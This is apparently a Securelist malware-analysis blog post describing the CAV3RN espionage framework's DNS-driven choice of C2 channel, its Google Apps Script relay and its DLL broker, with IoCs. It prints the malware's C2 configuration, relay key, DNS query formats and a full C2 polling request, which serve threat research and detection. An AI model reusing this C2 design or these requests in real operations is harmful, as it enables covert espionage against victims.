{"id":120991,"date":"2026-08-11T10:00:19","date_gmt":"2026-08-11T10:00:19","guid":{"rendered":"https:\/\/2.zoppoz.workers.dev:443\/https\/kasperskycontenthub.com\/securelist\/?p=120991"},"modified":"2026-08-11T11:11:49","modified_gmt":"2026-08-11T11:11:49","slug":"project-cav3rn-continues","status":"publish","type":"post","link":"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/project-cav3rn-continues\/120991\/","title":{"rendered":"Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection"},"content":{"rendered":"<p>Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of <a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/www.kaspersky.com\/enterprise-security\/threat-intelligence-reporting?icid=gl_sl_tip-lnk_sm-team_c09760866e96002e\" target=\"_blank\" rel=\"noopener\">our Kaspersky Threat Intelligence Reporting service<\/a>, and the second was published on <a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/securelist.com\/project-cav3rn-cyberespionage-framework-using-outlook-and-dns\/120757\/\" target=\"_blank\" rel=\"noopener\">Securelist<\/a> the following month, further documenting the framework&#8217;s evolving architecture and C2 capabilities.<\/p>\n<p>Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework&#8217;s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.<\/p>\n<p>We also identified the framework&#8217;s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.<\/p>\n<h2 id=\"multi-transport-c2-communication-module\">Multi-transport C2 communication module<\/h2>\n<p>The communication module, <code>GoogleService.dll<\/code>, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:<\/p>\n<pre class=\"wrap:true lang:default decode:true\">C:\\Users\\user\\Desktop\\Modules\\broker-cavern\\communication\\GoogleCommunication\\bin\\Release\\net8.0\\win-x64\\native\\GoogleService.pdb<\/pre>\n<p>NativeAOT data also revealed references to eight source files, including the <code>Direct.cs<\/code>, <code>FindMode.cs<\/code>, and <code>Google.cs<\/code>.<\/p>\n<p>The DLL exports <code>GroupByCategory<\/code>, <code>CheckAvailability<\/code>, <code>IsPrimeNumber<\/code>, and <code>OrderByDate<\/code>. During initialization, its host (local broker) registers the module&#8217;s callback and starts <code>CheckAvailability<\/code>. After three seconds, the module sends a type-0 frame to the fixed identifier <code>33A4BA78-E286-4FF2-85EC-7365265F3D93<\/code>. The broker returns <code>Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93<\/code>, which the module expects and uses to learn the broker&#8217;s name before starting its C2 worker.<\/p>\n<p>C2 packets contain type, <code>cid<\/code>, and <code>payload<\/code> fields. Packets of the type <code>icmgdd<\/code> are processed by the communication module itself, while other types, including <code>broker<\/code>, are forwarded to the local broker. Within command payloads, <code>_;;_ <\/code>separates the command from its arguments and <code>_,_<\/code> separates individual arguments.<\/p>\n<p>At startup, the worker internally sends:<\/p>\n<pre class=\"lang:default decode:true\">{\"type\":\"icmgdd\",\"cid\":0,\"payload\":\"s_version_;;_\"}<\/pre>\n<p>The <code>s_version<\/code> handler enumerates DLLs under <code>AppContext.BaseDirectory<\/code>, collects their company names and versions, and appends the communication module&#8217;s name\/version and the local broker&#8217;s name. This inventory is serialized as JSON, XORed with <code>0xAC<\/code>, Base64-encoded, and sent as the module&#8217;s initial C2 report.<\/p>\n<p>The module supports five internal commands:<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Command<\/strong><\/td>\n<td><strong>Functionality<\/strong><\/td>\n<\/tr>\n<tr>\n<td>s_version<\/td>\n<td>Returns the DLL-version inventory described above. The command is executed automatically at startup.<\/td>\n<\/tr>\n<tr>\n<td>s_config<\/td>\n<td>Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.<\/td>\n<\/tr>\n<tr>\n<td>s_enLog<\/td>\n<td>Enables diagnostic logging at the Debug level.<\/td>\n<\/tr>\n<tr>\n<td>s_deLog<\/td>\n<td>Disables diagnostic logging and sets the logging level to Fatal.<\/td>\n<\/tr>\n<tr>\n<td>s_write<\/td>\n<td>Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The module reads <code>conf.json<\/code> from the process&#8217;s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.<\/p>\n<pre class=\"lang:default decode:true \">{\r\n  \"to\": \"&lt;generated seven-character ID&gt;\", \/\/ Client ID\r\n  \"ad\": \"https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva.com\/api\/v1\/update\/check\", \/\/ Direct C2 URL\r\n  \"ho\": \"studiotikva.com\", \/\/ DNS domain\r\n  \"gi\": \"&lt;redacted&gt;\", \/\/ Apps Script deployment ID\r\n  \"de\": false, \/\/ Enable Debug logging at startup\r\n  \"mi\": 120000, \/\/ Poll-delay reset after a non-empty response\r\n  \"ma\": 18000000, \/\/ Progressive poll-delay cap\r\n  \"ri\": 30000, \/\/ Base DNS recovery\/error delay, with positive jitter\r\n  \"ga\": \"s3criitC0d3\/8-)B-,)\", \/\/ Apps Script relay authentication key\r\n  \"gu\": \"https:\/\/2.zoppoz.workers.dev:443\/https\/script.google.com\/macros\/s\/{0}\/exec\",\r\n  \"ua\": \"Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.31 (KHTML, like Gecko) Chrome\/26.0.1410.64 Safari\/537.31\",\r\n  \"mcc\": 50, \/\/ unknown\r\n  \"mtc\": 10 \/\/ unknown\r\n}\r\n<\/pre>\n<p>The <code>s_config<\/code> command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to <code>conf.json<\/code>.<\/p>\n<p>Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:<\/p>\n<p><code>&lt;random nonce&gt;&lt;error state&gt;.&lt;hex-encoded client ID&gt;.m.studiotikva.com<\/code><\/p>\n<p>The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: <code>0<\/code> for <code>None<\/code>, <code>1<\/code> for <code>GIDFailed<\/code>, <code>2<\/code> for <code>GoogleFailed<\/code>, and <code>3<\/code> for <code>DirectFailed<\/code>. Each new transaction starts in state 0.<\/p>\n<p>The exact response <code>12.19.29[.]30<\/code> is treated as a rejection. Other responses are interpreted according to their fourth octet:<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Fourth octet<\/strong><\/td>\n<td><strong>None (0)<\/strong><\/td>\n<td><strong>GIDFailed (1)<\/strong><\/td>\n<td><strong>GoogleFailed (2)<\/strong><\/td>\n<td><strong>DirectFailed (3)<\/strong><\/td>\n<\/tr>\n<tr>\n<td>120 (0x78)<\/td>\n<td>Google Apps Script<\/td>\n<td>Direct HTTPS<\/td>\n<td>Direct HTTPS<\/td>\n<td>Google Apps Script<\/td>\n<\/tr>\n<tr>\n<td>130 (0x82)<\/td>\n<td>Direct HTTPS<\/td>\n<td>Direct HTTPS<\/td>\n<td>Direct HTTPS<\/td>\n<td>Close the transaction (no channel)<\/td>\n<\/tr>\n<tr>\n<td>140 (0x8C)<\/td>\n<td>Exception<\/td>\n<td>Exception<\/td>\n<td>Exception<\/td>\n<td>Exception<\/td>\n<\/tr>\n<tr>\n<td><em>All other values<\/em><\/td>\n<td>Google Apps Script<\/td>\n<td>Google Apps Script<\/td>\n<td>Google Apps Script<\/td>\n<td>Google Apps Script<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>During analysis, valid <code>.m<\/code> queries returned <code>12.121.234[.]120<\/code>, while malformed queries returned <code>12.19.29[.]30<\/code>. For example, <code>YCZ2.41414141303030.m.studiotikva[.]com<\/code> carries state 2, so the final octet 120 selects Direct HTTPS.<\/p>\n<div id=\"attachment_120995\" style=\"width: 2010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-120995\" class=\"size-full wp-image-120995\" src=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1.png\" alt=\"CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel\" width=\"2000\" height=\"707\" srcset=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1.png 2000w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-300x106.png 300w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-1024x362.png 1024w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-768x271.png 768w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-1536x543.png 1536w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-990x350.png 990w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-740x262.png 740w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-792x280.png 792w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10201958\/CAV3RN1-800x283.png 800w\" sizes=\"auto, (max-width: 2000px) 100vw, 2000px\" \/><\/a><p id=\"caption-attachment-120995\" class=\"wp-caption-text\">CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel<\/p><\/div>\n<p>When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <code>&lt;random5&gt;.&lt;hex-ID&gt;.q.studiotikva[.]com<\/code>. A mismatch causes the module to retrieve a replacement through <code>.p<\/code> queries: <code>&lt;random5&gt;.&lt;hex-ID&gt;.p.studiotikva[.]com<\/code>.<\/p>\n<div id=\"attachment_120996\" style=\"width: 1190px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-120996\" class=\"size-full wp-image-120996\" src=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2.png\" alt=\"DNS-based deployment-ID freshness check\" width=\"1180\" height=\"640\" srcset=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2.png 1180w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2-300x163.png 300w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2-1024x555.png 1024w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2-768x417.png 768w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2-645x350.png 645w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2-740x401.png 740w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2-516x280.png 516w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202106\/CAV3RN2-800x434.png 800w\" sizes=\"auto, (max-width: 1180px) 100vw, 1180px\" \/><\/a><p id=\"caption-attachment-120996\" class=\"wp-caption-text\">DNS-based deployment-ID freshness check<\/p><\/div>\n<p>The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response <code>74.65.75.102<\/code> represents <code>4A 41 4B 66<\/code>: a length of 74 followed by <code>AKf<\/code>. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.<\/p>\n<div id=\"attachment_120997\" style=\"width: 1190px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-120997\" class=\"size-full wp-image-120997\" src=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3.png\" alt=\"DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks\" width=\"1180\" height=\"660\" srcset=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3.png 1180w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-300x168.png 300w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-1024x573.png 1024w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-768x430.png 768w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-270x150.png 270w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-626x350.png 626w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-740x414.png 740w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-501x280.png 501w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202134\/CAV3RN3-800x447.png 800w\" sizes=\"auto, (max-width: 1180px) 100vw, 1180px\" \/><\/a><p id=\"caption-attachment-120997\" class=\"wp-caption-text\">DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks<\/p><\/div>\n<p>One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as <code>AKfycby46v0DPSEKWYa****dvQ<\/code>. The <code>.q<\/code> response <code>247.188.216[.]122<\/code> contains the bytes <code>f7 bc d8 7a<\/code>, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.<\/p>\n<div id=\"attachment_120998\" style=\"width: 2029px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-120998\" class=\"wp-image-120998 size-full\" src=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4.png\" alt=\"\" width=\"2019\" height=\"411\" srcset=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4.png 2019w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-300x61.png 300w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-1024x208.png 1024w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-768x156.png 768w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-1536x313.png 1536w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-1719x350.png 1719w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-740x151.png 740w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-1375x280.png 1375w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202214\/CAV3RN4-800x163.png 800w\" sizes=\"auto, (max-width: 2019px) 100vw, 2019px\" \/><\/a><p id=\"caption-attachment-120998\" class=\"wp-caption-text\">Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID<\/p><\/div>\n<h3 id=\"google-apps-script-channel\">Google Apps Script channel<\/h3>\n<p>When DNS selects Google mode, the module inserts the deployment ID into <code>https:\/\/2.zoppoz.workers.dev:443\/https\/script.google[.]com\/macros\/s\/{deployment-ID}\/exec<\/code>.<\/p>\n<p>Direct GET requests return a decoy page titled <code>My App<\/code> with the message <code>This application is running normally<\/code>. C2 polling instead uses an outer POST to Apps Script whose <code>\"m\":\"GET\"<\/code> field instructs the relay to issue a GET request to its upstream server:<\/p>\n<pre class=\"lang:default decode:true\">POST \/macros\/s\/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA\/exec HTTP\/1.1\r\nHost: script.google.com\r\nContent-Type: application\/json\r\n\r\n{\"k\":\"s3criitC0d3\/8-)B-,)\",\"m\":\"GET\",\"h\":{\"X-Client-Id\":\"AAAA000\",\"User-Agent\":\"Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.31 (KHTML, like Gecko) Chrome\/26.0.1410.64 Safari\/537.31\"},\"b\":null,\"ct\":null,\"r\":true}\r\n<\/pre>\n<p>The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:<\/p>\n<pre class=\"lang:default decode:true \">HTTP\/2 302\r\ncontent-type: text\/html; charset=UTF-8\r\naccess-control-allow-origin: *\r\nlocation: https:\/\/2.zoppoz.workers.dev:443\/https\/script.googleusercontent.com\/macros\/echo?user_content_key=AUkAhnT1XStTpObO\u2026&amp;lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR\r\nserver: GSE\r\n\r\nHTTP\/2 200\r\ncontent-type: application\/json; charset=utf-8\r\naccess-control-allow-origin: *\r\nserver: GSE\r\n\r\n{\"s\":200,\"h\":{\"Content-Type\":\"text\/html; charset=utf-8\",\"Vary\":\"Cookie\",\"Server\":\"nginx\",\"Content Length\":\"4\",\"Connection\":\"keep-alive\",\"Date\":\"Mon, 03 Aug 2026 20:07:54 GMT\",\"Access-Control-Allow-Origin\":\"*\"},\"b\":\"OS9FPQ==\"}\r\n<\/pre>\n<p>Decoding <code>b<\/code> produces <code>9\/E=;<\/code> decoding it again produces <code>f7 f1<\/code>, which XORs with <code>0xAC<\/code> to <code>[]<\/code>, indicating an empty task list. An upstream timeout also exposed <code>https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva[.]com\/ac<\/code>, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.<\/p>\n<h3 id=\"direct-https-channel\">Direct HTTPS channel<\/h3>\n<p>When DNS selects Direct HTTPS, the module contacts the configured ad address, <code>https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva[.]com\/api\/v1\/update\/check<\/code>, without using the relay. This occurs when the final octet is <code>130 (0x82)<\/code> in the <code>None<\/code>, <code>GIDFailed<\/code>, or <code>GoogleFailed<\/code> states, or <code>120 (0x78)<\/code> in the <code>GIDFailed<\/code> or <code>GoogleFailed<\/code> states. The endpoint expects the custom <code>X-Client-Id<\/code> header; requests without the expected header return <code>{\"res\":\"failed\"}<\/code> in its HTTP response.<\/p>\n<p>However, a GET request carrying the correct <code>X-Client-Id<\/code> value receives a 76-byte body as shown in the following figure:<\/p>\n<div id=\"attachment_120999\" style=\"width: 1263px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-120999\" class=\"size-full wp-image-120999\" src=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5.png\" alt=\"Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID\" width=\"1253\" height=\"478\" srcset=\"https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5.png 1253w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5-300x114.png 300w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5-1024x391.png 1024w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5-768x293.png 768w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5-917x350.png 917w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5-740x282.png 740w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5-734x280.png 734w, https:\/\/2.zoppoz.workers.dev:443\/https\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/08\/10202255\/CAV3RN5-800x305.png 800w\" sizes=\"auto, (max-width: 1253px) 100vw, 1253px\" \/><\/a><p id=\"caption-attachment-120999\" class=\"wp-caption-text\">GET request to the header-gated C2 endpoint and its encoded tasking response<\/p><\/div>\n<p>Base64-decoding the response body and XORing it with <code>0xAC<\/code> produced the following broker-directed task packet: <code>[{\"type\":\"broker\",\"cid\":109,\"payload\":\"002_;;__,_\"}]<\/code>. The broker type instructs the communication module to forward the task to the local broker.<\/p>\n<h2 id=\"inter-component-dll-broker\">Inter-component DLL broker<\/h2>\n<p>The inter-component broker, <code>rnp.dll<\/code>, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is <code>C:\\Users\\user\\Desktop\\Modules\\broker-cavern\\1.out\\rnp.pdb<\/code>. It masquerades as the RNP OpenPGP library through numerous <code>rnp_*<\/code> exports, while <code>rnp_backend_string<\/code> starts the broker.<\/p>\n<p>The broker coordinates the framework&#8217;s DLL components. At startup, it creates the <code>BROKER<\/code> control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes <code>GroupByCategory<\/code>, <code>CheckAvailability<\/code>, <code>IsPrimeNumber<\/code>, and <code>OrderByDate<\/code>.<\/p>\n<p>The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.<\/p>\n<p>Loaded components exchange messages through the broker. It locates the requested destination and invokes that component&#8217;s callback. Unknown destinations return <code>Err1::&lt;destination&gt;<\/code>, while unavailable components return <code>Err2::&lt;destination&gt;<\/code>.<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Command<\/strong><\/td>\n<td><strong>Function<\/strong><\/td>\n<\/tr>\n<tr>\n<td>000<\/td>\n<td>Lists loaded component names and versions<\/td>\n<\/tr>\n<tr>\n<td>001<\/td>\n<td>Lists every DLL path discovered by the scanner<\/td>\n<\/tr>\n<tr>\n<td>002<\/td>\n<td>Lists each loaded component&#8217;s path, name, and version<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The <code>002_;;__,_<\/code> task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its <code>IsPrimeNumber<\/code> export and waits for its worker threads to stop before unloading the DLL.<\/p>\n<h2 id=\"infrastructure\">Infrastructure<\/h2>\n<p>Historical records show that <code>studiotikva[.]com<\/code> was first registered in February 2024. <a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/web.archive.org\/web\/20250417144902\/https:\/studiotikva.com\/\" target=\"_blank\" rel=\"noopener\">Wayback Machine captures<\/a> show Wix&#8217;s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.<\/p>\n<p>The domain was registered again on May 12, 2026, and redelegated on May 19 to <code>ns1.studiotikva[.]com<\/code> and <code>ns2.studiotikva[.]com<\/code>, resolving to <code>144.172.115[.]17<\/code> and <code>144.172.104[.]82<\/code>. It later hosted a generic &#8220;Studio Tikva&#8221; website that provided locally plausible cover: &#8220;Tikva&#8221; (\u05ea\u05e7\u05d5\u05d5\u05d4) means &#8220;hope&#8221; in Hebrew.<\/p>\n<p>The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed <code>https:\/\/2.zoppoz.workers.dev:443\/https\/api.studiotikva[.]com\/ac<\/code>, revealing the actor-controlled backend endpoint.<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Domain<\/strong><\/td>\n<td><strong>Registrar<\/strong><\/td>\n<td><strong>IP<\/strong><\/td>\n<td><strong>Hosting<\/strong><\/td>\n<td><strong>ASN<\/strong><\/td>\n<\/tr>\n<tr>\n<td>studiotikva[.]com<br \/>\napi.studiotikva[.]com<br \/>\nns1.studiotikva[.]com<br \/>\nns2.studiotikva[.]com<\/td>\n<td>Dynadot Inc<\/td>\n<td>144.172.115[.]17<br \/>\n144.172.104[.]82<\/td>\n<td>RouterHosting LLC<\/td>\n<td>AS 14956<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2 id=\"conclusions\">Conclusions<\/h2>\n<p>Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services\u00a0\u2014 previously Outlook calendar events and now Google Apps Script\u00a0\u2014 the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.<\/p>\n<h2 id=\"indicators-of-compromise\">Indicators of compromise<\/h2>\n<p><em>Additional IoCs are available to customers of our <\/em><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/www.kaspersky.com\/enterprise-security\/threat-intelligence-reporting?icid=gl_sl_tip-lnk_sm-team_c09760866e96002e\" target=\"_blank\" rel=\"noopener\"><em>Threat Intelligence Reporting<\/em><\/a><em> service. For more details, contact us at <\/em><a href=\"mailto:intelreports@kaspersky.com\" target=\"_blank\" rel=\"noopener\"><em>intelreports@kaspersky.com<\/em><\/a><em>.<\/em><\/p>\n<h5 id=\"file-hashes\">File hashes<\/h5>\n<p><a href=\"https:\/\/2.zoppoz.workers.dev:443\/https\/opentip.kaspersky.com\/904784c9943d019da332bea2cd03996f\/results?icid=gl_sl_post-opentip_sm-team_007a144950a42c84&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">904784c9943d019da332bea2cd03996f<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 CommunicationUxTheme.dll<br \/>\n<a 